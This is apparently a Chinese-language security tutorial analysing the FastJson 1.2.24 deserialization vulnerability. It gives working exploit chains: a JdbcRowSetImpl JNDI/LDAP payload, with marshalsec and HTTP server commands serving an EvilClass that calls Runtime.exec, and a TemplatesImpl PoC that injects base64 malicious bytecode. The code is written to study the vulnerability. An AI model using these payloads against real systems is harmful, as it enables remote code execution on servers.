文章目录
【java安全】FastJson反序列化漏洞浅析
0x00.前言
前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了
0x01.FastJson概述
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean
0x02.FastJson使用
首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency>
序列化与反序列化
首先创建一个标准的javabean:User类
packagecom.leekos.serial;publicclassUser{privateString name;privateint age;publicUser(){System.out.println("无参构造");}publicUser(String name,int age){System.out.println("有参构造");this.name = name;this.age = age;}publicStringgetName(){System.out.println("调用了get方法");return name;}publicvoidsetName(String name){System.out.println("调用了set方法");this.name = name;}publicintgetAge(){return age;}publicvoidsetAge(int age){this.age = age;}@OverridepublicStringtoString(){return"User{"+"name='"+ name +'\''+", age="+ age +'}';}}
测试一下fastjson中的方法:
- JSON.toJSONString(obj) 将javabean转化为json字符串
- JSON.parse(s) 将json字符串反序列化
- JSON.parseObject(s) 将json字符串反序列化
- JSON.parseObject(s,Object.class) 将json字符串反序列化
publicclassJsonTest{publicstaticvoidmain(String[] args){User user =newUser("leekos",20);// 序列化String serializeStr =JSON.toJSONString(user);System.out.println("serializeStr="+ serializeStr);System.out.println("------------------------------------------------------------------");//通过parse方法进行反序列化,返回的是一个JSONObjectObject obj1 =JSON.parse(serializeStr);System.out.println("parse反序列化对象名称:"+ obj1.getClass().getName());System.out.println("parse反序列化:"+ obj1);System.out.println("------------------------------------------------------------------");//通过parseObject,不指定类,返回的是一个JSONObjectJSONObject obj2 =JSON.parseObject(serializeStr);System.out.println("parseObject反序列化对象名称:"+ obj2.getClass().getName());System.out.println("parseObject反序列化:"+ obj2);System.out.println("------------------------------------------------------------------");//通过parseObject,指定类后返回的是一个相应的类对象User obj3 =JSON.parseObject(serializeStr,User.class);System.out.println("parseObject反序列化对象名称:"+ obj3.getClass().getName());System.out.println("parseObject反序列化:"+ obj3);}}
输出:
有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
通过观察,我们可以知道:(不使用
SerializerFeature.WriteClassName
参数)
- 使用
JSON.toJSONString(obj)
将javabean序列化的时候会调用get()
方法 - 使用
JSON.parse(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 使用
JSON.parseObject(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 当我们指定了
JSON.parseObject(s,User.class)
函数的第二个参数为指定类的字节码时,我们可以正确反序列化,并且会调用set()
方法
通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?
这个时候就需要用到
JSON.toJSONString(obj,SerializerFeature.WriteClassName)
的第二个参数了,如果该参数为
SerializerFeature.WriteClassName
那么在序列化javabean时就会在json串中写下类的名字,保存在
@type
关键字中
传入
SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
我们将上面的代码更改一下:
String serializeStr =JSON.toJSONString(user,SerializerFeature.WriteClassName);
输出:
有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
经过分析,我们可以知道:
- 当反序列成功时,
parse()
、parseObject()
都会调用set()
方法 JSON.parseObject()
只有在第二个参数指定类,才会反序列化成功- 在字符串中使用
"@type":"com.leekos.serial.User"
指定类,当使用JSON.parseObject()
且不指定第二个参数时,会调用set()
、get()
方法,但会转化为JSONObject
对象 - 使用
JSON.parse()
方法,无法使用参数指定反序列化的类,它通过识别json串中的@type
来反序列化为指定类
0x03.反序列化漏洞
其实上面就有一个很敏感的问题,如果
@type
为恶意类的话,就可以通过触发
set()
、
get()
方法来做一些恶意操作了
漏洞是利用fastjson autotype在处理json对象的时候,未对
@type
字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
我们先编写一个恶意类:
packagecom.leekos.rce;importjava.io.IOException;publicclassExecObj{privateString name;publicExecObj(){}publicExecObj(String name){this.name = name;}publicStringgetName(){return name;}publicvoidsetName(String name)throwsIOException{Runtime.getRuntime().exec("calc");this.name = name;}@OverridepublicStringtoString(){return"ExecObj{"+"name='"+ name +'\''+'}';}}
添加
SerializerFeature.WriteClassName
后然后使用
JSON.parseObject()
反序列化:
publicclassTest{publicstaticvoidmain(String[] args){String s ="{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";Object o =JSON.parseObject(s);}}
成功调用
set()
方法:
0x04.漏洞触发条件
不过在FastJson中还需要满足某些条件:
getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数 - fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
0x05.漏洞攻击方式
在Fastjson这个反序列化漏洞中是使用
TemplatesImpl
和
JdbcRowSetImpl
构造恶意代码实现命令执行,
TemplatesImpl
这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者
JdbcRowSetImpl
是需要利用到前面学习的
JNDI注入
来实现攻击的。
这里介绍两种方式:
TemplatesImpl
链JdbcRowSetImpl
链
JdbcRowSetImpl利用链
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr)parseObject(jsonStr)parseObject(jsonStr,Object.class)
这里JNDI注入利用的是
JdbcRowSetImpl
,由于需要使用JNDI,所以我们全局查找一下
lookup()
发现
lookup()
会在
connect()
函数中被调用,并且传入参数
this.getDataSourceName()
,
publicvoidsetDataSourceName(String var1)throwsSQLException{if(this.getDataSourceName()!=null){if(!this.getDataSourceName().equals(var1)){String var2 =this.getDataSourceName();super.setDataSourceName(var1);this.conn =null;this.ps =null;this.rs =null;this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);}}else{super.setDataSourceName(var1);//赋值this.propertyChangeSupport.firePropertyChange("dataSourceName",(Object)null, var1);}}
setDataSourceName()
函数会对
dataSourceName
赋值,并且这个函数是
setxxx()
形式。即
dataSourceName
可控
然后我们需要寻找哪里能调用
connect()
函数,并且这个函数是
setxxx()
形式:
publicvoidsetAutoCommit(boolean var1)throwsSQLException{if(this.conn !=null){this.conn.setAutoCommit(var1);}else{this.conn =this.connect();this.conn.setAutoCommit(var1);}}
找到了一个
setAutoCommit()
,这就能简单构造一个json串了
{"@type":"com.sun.rowset.JdbcRowSetImpl",//调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit""dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true// 之后再调用setAutoCommit函数,传入true}
Demo
publicclassDemo{publicstaticvoidmain(String[] args){String exp ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";JSON.parse(exp);}}
首先我们先使用插件:
marshalsec
起一个ldap服务:
(这里url指向本地的8090端口的
EvilClass.class
文件)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
然后python起一个http服务(8090端口),目录中有一个
EvilClass.class
文件:
python3 -m http.server 8090
EvilClass.java源码
importjavax.naming.Context;importjavax.naming.Name;importjavax.naming.spi.ObjectFactory;importjava.io.IOException;importjava.util.Hashtable;publicclassEvilClassimplementsObjectFactory{static{System.out.println("hello,static~");}publicEvilClass()throwsIOException{System.out.println("constructor~");}@OverridepublicObjectgetObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment)throwsException{Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");returnnull;}}
这里使用javac(jdk7u21)编译一下
运行:
TemplatesImpl利用链
漏洞版本
fastjson 1.22-1.24
POC
importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.parser.ParserConfig;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.codec.binary.Base64;publicclassTest{//最终执行payload的类的原始模型//ps.要payload在static模块中执行的话,原始模型需要用static方式。publicstaticclass lala{}//返回一个在实例化过程中执行任意代码的恶意类的byte码//如果对于这部分生成原理不清楚,参考以前的文章publicstaticbyte[]getevilbyte()throwsException{ClassPool pool =ClassPool.getDefault();CtClass cc = pool.get(lala.class.getName());//要执行的最终命令String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);// cons.setBody("{"+cmd+"}");// cc.addConstructor(cons);//设置不重复的类名String randomClassName ="LaLa"+System.nanoTime();
cc.setName(randomClassName);//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//获取字节码return cc.toBytecode();}//生成payload,触发payloadpublicstaticvoidpoc()throwsException{//生成攻击payloadbyte[] evilCode =getevilbyte();//生成恶意类的字节码String evilCode_base64 =Base64.encodeBase64String(evilCode);//使用base64封装finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 ="{"+"\"@type\":\""+NASTY_CLASS+"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'a.b',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响System.out.println(text1);//服务端触发payloadParserConfig config =newParserConfig();Object obj =JSON.parseObject(text1,Object.class, config,Feature.SupportNonPublicField);//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);}//main函数调用以下pocpublicstaticvoidmain(String[] args){try{poc();}catch(Exception e){
e.printStackTrace();}}}
我们执行一下,弹出计算器:
json串:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{},'_outputProperties':{}}
漏洞分析
使用
TemplatesImpl
链的形式触发FastJson反序列化漏洞利用条件比较苛刻
- 服务端使用
JSON.parse()
时,需要JSON.parse(s,Feature.SupportNonPublicField);
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
、JSON.parseObject(input, Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为
private
属性,服务端必须添加特性才会去json中恢复private属性的数据
其实根据上面的poc,我们会有几个疑问:
- 如果支队
_bytecodes
插入恶意代码,为什么需要构造这么多值 _bytecodes
中的值为什么要base64加密- 发序列化为什么要加入
Feature.SupportNonPublicField
参数值
- @type :用于存放反序列化时的目标类型,这里指定的是
TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private
修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码 - _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。 - _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。 - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行
前面说到的之所以加入
Feature.SupportNonPublicField
才能触发是因为
Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。